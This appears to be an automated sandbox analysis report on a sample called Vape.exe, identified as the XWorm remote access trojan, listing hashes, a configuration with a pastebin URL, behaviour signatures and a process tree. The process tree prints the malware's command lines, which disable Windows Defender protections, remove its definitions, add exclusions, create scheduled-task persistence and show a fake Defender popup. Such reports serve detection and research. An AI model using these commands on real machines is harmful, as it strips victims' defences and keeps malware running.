Overview

overview

10

Static

static

3

Vape.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    1793s
  • max time network
    1805s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-02-2024 17:50

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Vape.exe

  • Size

    7.3MB

  • MD5

    30d821e3f24b92090b1bce6724c9128d

  • SHA1

    f0d9125615d765fe195344699d025e275992dd51

  • SHA256

    62395ab41ce937d63d729857316897a8b492248c2a47417500a66189400e223b

  • SHA512

    199d4bf7811d6627213f4196b195c6b7845abb8aae28c22d75099835030a8d6c3ec3a53014ee17853dd3c9c367c8d3ee9551127553655bd81dc144c0b98ca104

  • SSDEEP

    196608:yJY/4gmohCSiu0y17vTSnBlXpOR7uRBp0/T:yJY/1mohKu0ypvunBlXYyt0r

Score
10/10
xwormpersistencerattrojanupx

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %Temp%

  • install_file

    microsoftsoftware_sv.exe

  • pastebin_url

    https://pastebin.com/raw/aj6A2kvb

Signatures

  • Detect Xworm Payload 4 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Executes dropped EXE 64 IoCs
  • Loads dropped DLL 17 IoCs
  • UPX packed file 48 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 54 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vape.exe
    "C:\Users\Admin\AppData\Local\Temp\Vape.exe"
    1⤵
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3996
    • C:\Users\Admin\AppData\Local\Temp\sv_host.exe
      "C:\Users\Admin\AppData\Local\Temp\sv_host.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sv_host.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1908
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'sv_host.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svhost'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2856
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Local\Temp\svhost"
        3⤵
        • Creates scheduled task(s)
        PID:836
    • C:\Users\Admin\AppData\Local\Temp\ms_host.exe
      "C:\Users\Admin\AppData\Local\Temp\ms_host.exe"
      2⤵
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ms_host.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4020
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'ms_host.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'microsoftsoftware_sv.exe'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4592
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "microsoftsoftware_sv" /tr "C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe"
        3⤵
        • Creates scheduled task(s)
        PID:4464
      • C:\Windows\SYSTEM32\CMD.EXE
        "CMD.EXE"
        3⤵
          PID:2812
      • C:\Users\Admin\AppData\Local\Temp\svc.exe
        "C:\Users\Admin\AppData\Local\Temp\svc.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1004
        • C:\Users\Admin\AppData\Local\Temp\svc.exe
          "C:\Users\Admin\AppData\Local\Temp\svc.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:2108
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svc.exe'"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1572
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svc.exe'
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2992
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Внимание! Устранена попытка взлома компьютера! Файл был помещён в карантин.', 0, 'Windows Defender', 32+16);close()""
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2984
            • C:\Windows\system32\mshta.exe
              mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Внимание! Устранена попытка взлома компьютера! Файл был помещён в карантин.', 0, 'Windows Defender', 32+16);close()"
              5⤵
                PID:4592
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3420
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                5⤵
                • Enumerates processes with tasklist
                • Suspicious use of AdjustPrivilegeToken
                PID:3532
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1528
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic csproduct get uuid
                5⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1680
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3016
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8656.tmp.bat""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4276
          • C:\Windows\system32\timeout.exe
            timeout 3
            3⤵
            • Delays execution with timeout.exe
            PID:2344
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        1⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4792
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2356
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2852
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:384
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4332
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2668
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4052
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4564
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4776
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4988
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:824
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:912
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4352
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:2244
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:1428
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:1084
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:1156
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4676
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3056
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4416
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:5100
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3636
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4680
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:2104
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3500
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:1472
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4964
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3496
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:1456
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3820
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3516
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:5048
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4816
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4832
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4772
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3940
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3784
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3008
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3936
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:1088
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3832
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4668
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:2920
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3352
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:2448
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3956
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4080
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3912
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4784
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:5036
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4616
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:3444
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:1408
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4736
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:452
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4816
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3968
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:4628
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:440
      • C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        C:\Users\Admin\AppData\Local\Temp\microsoftsoftware_sv.exe
        1⤵
        • Executes dropped EXE
        PID:4720
      • C:\Users\Admin\AppData\Local\Temp\svhost
        C:\Users\Admin\AppData\Local\Temp\svhost
        1⤵
        • Executes dropped EXE
        PID:3556

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\microsoftsoftware_sv.exe.log
        Filesize

        654B

        MD5

        2ff39f6c7249774be85fd60a8f9a245e

        SHA1

        684ff36b31aedc1e587c8496c02722c6698c1c4e

        SHA256

        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

        SHA512

        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        3a5e1f1efff867a822c6a57ee928dd66

        SHA1

        b017854d8a1deb05f1447e9dd6002902fb66bf6b

        SHA256

        8222fe869b025493591ca2ffbabe089c2e682449e77b754fc864ba62d64ee957

        SHA512

        25fc0fd6a71595c44efe34d281c4bc4924ac82f76b9f697497d0019fa2c8e0cadf58f92ae4272f00b1ef1e97dfd93bd740a9e7f7d9dc93cb1cadbde5f93d1782

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        22fbec4acba323d04079a263526cef3c

        SHA1

        eb8dd0042c6a3f20087a7d2391eaf48121f98740

        SHA256

        020e5d769893724f075e10b01c59bf2424214cefe6aafbab6f44bc700f525c40

        SHA512

        fb61d737de8cbed6b7d8b5a35911c46ef26a2927a52ed7add9d594cf19dcab1b9978b61912c6f3fe4f29228f4454fb022fb2e167788c727dc6503c1fcd42159e

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        fdfd81af03f313406b84ae7d0b1866d2

        SHA1

        377e27b8117860eb525aaeaeabdfbbe5561c2a23

        SHA256

        4eb7fbd9d6982216a0afcd04b0501f30fe626865471f015a282dd55c736490b6

        SHA512

        8dc4507f53c7a04a1b423ff1aed6639b404a604c87f4c42ae9d2bf01bfb1961e895348d54176d23c5e51097f06d280d6bdae2c5e2fd69dfa488ee28e0b4a2c5f

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        15dde0683cd1ca19785d7262f554ba93

        SHA1

        d039c577e438546d10ac64837b05da480d06bf69

        SHA256

        d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

        SHA512

        57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        0cdce985e08680bca43a011144b09ba5

        SHA1

        cf15eab9fb33ec31ff683bd816daeb76c1f2bd98

        SHA256

        5d99de724c29659b705c3b7476d23f9b7258fe608d888dbea46b3eb164b6be8e

        SHA512

        ccde3d30f37a32278077407172495ac692951aea3f41ee15a96c053d89a760cf0de818653c303fd314d2ad31713015f83ae4edaf21c19a6473aca31e2f423a23

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\VCRUNTIME140.dll
        Filesize

        106KB

        MD5

        49c96cecda5c6c660a107d378fdfc3d4

        SHA1

        00149b7a66723e3f0310f139489fe172f818ca8e

        SHA256

        69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc

        SHA512

        e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_bz2.pyd
        Filesize

        48KB

        MD5

        c413931b63def8c71374d7826fbf3ab4

        SHA1

        8b93087be080734db3399dc415cc5c875de857e2

        SHA256

        17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293

        SHA512

        7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_ctypes.pyd
        Filesize

        58KB

        MD5

        00f75daaa7f8a897f2a330e00fad78ac

        SHA1

        44aec43e5f8f1282989b14c4e3bd238c45d6e334

        SHA256

        9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f

        SHA512

        f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_decimal.pyd
        Filesize

        106KB

        MD5

        e3fb8bf23d857b1eb860923ccc47baa5

        SHA1

        46e9d5f746c047e1b2fefaaf8d3ec0f2c56c42f0

        SHA256

        7da13df1f416d3ffd32843c895948e460af4dc02cf05c521909555061ed108e3

        SHA512

        7b0a1fc00c14575b8f415fadc2078bebd157830887dc5b0c4414c8edfaf9fc4a65f58e5cceced11252ade4e627bf17979db397f4f0def9a908efb2eb68cd645c

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_hashlib.pyd
        Filesize

        35KB

        MD5

        b227bf5d9fec25e2b36d416ccd943ca3

        SHA1

        4fae06f24a1b61e6594747ec934cbf06e7ec3773

        SHA256

        d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7

        SHA512

        c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_lzma.pyd
        Filesize

        85KB

        MD5

        542eab18252d569c8abef7c58d303547

        SHA1

        05eff580466553f4687ae43acba8db3757c08151

        SHA256

        d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9

        SHA512

        b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_queue.pyd
        Filesize

        25KB

        MD5

        347d6a8c2d48003301032546c140c145

        SHA1

        1a3eb60ad4f3da882a3fd1e4248662f21bd34193

        SHA256

        e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192

        SHA512

        b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_socket.pyd
        Filesize

        43KB

        MD5

        1a34253aa7c77f9534561dc66ac5cf49

        SHA1

        fcd5e952f8038a16da6c3092183188d997e32fb9

        SHA256

        dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f

        SHA512

        ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\_MEI10042\_sqlite3.pyd
        Filesize

        56KB

        MD5

        1a8fdc36f7138edcc84ee506c5ec9b92

        SHA1

        e5e2da357fe50a0927300e05c26a75267429db28

        SHA256

        8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882

        SHA512

        462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0

        Download Submit

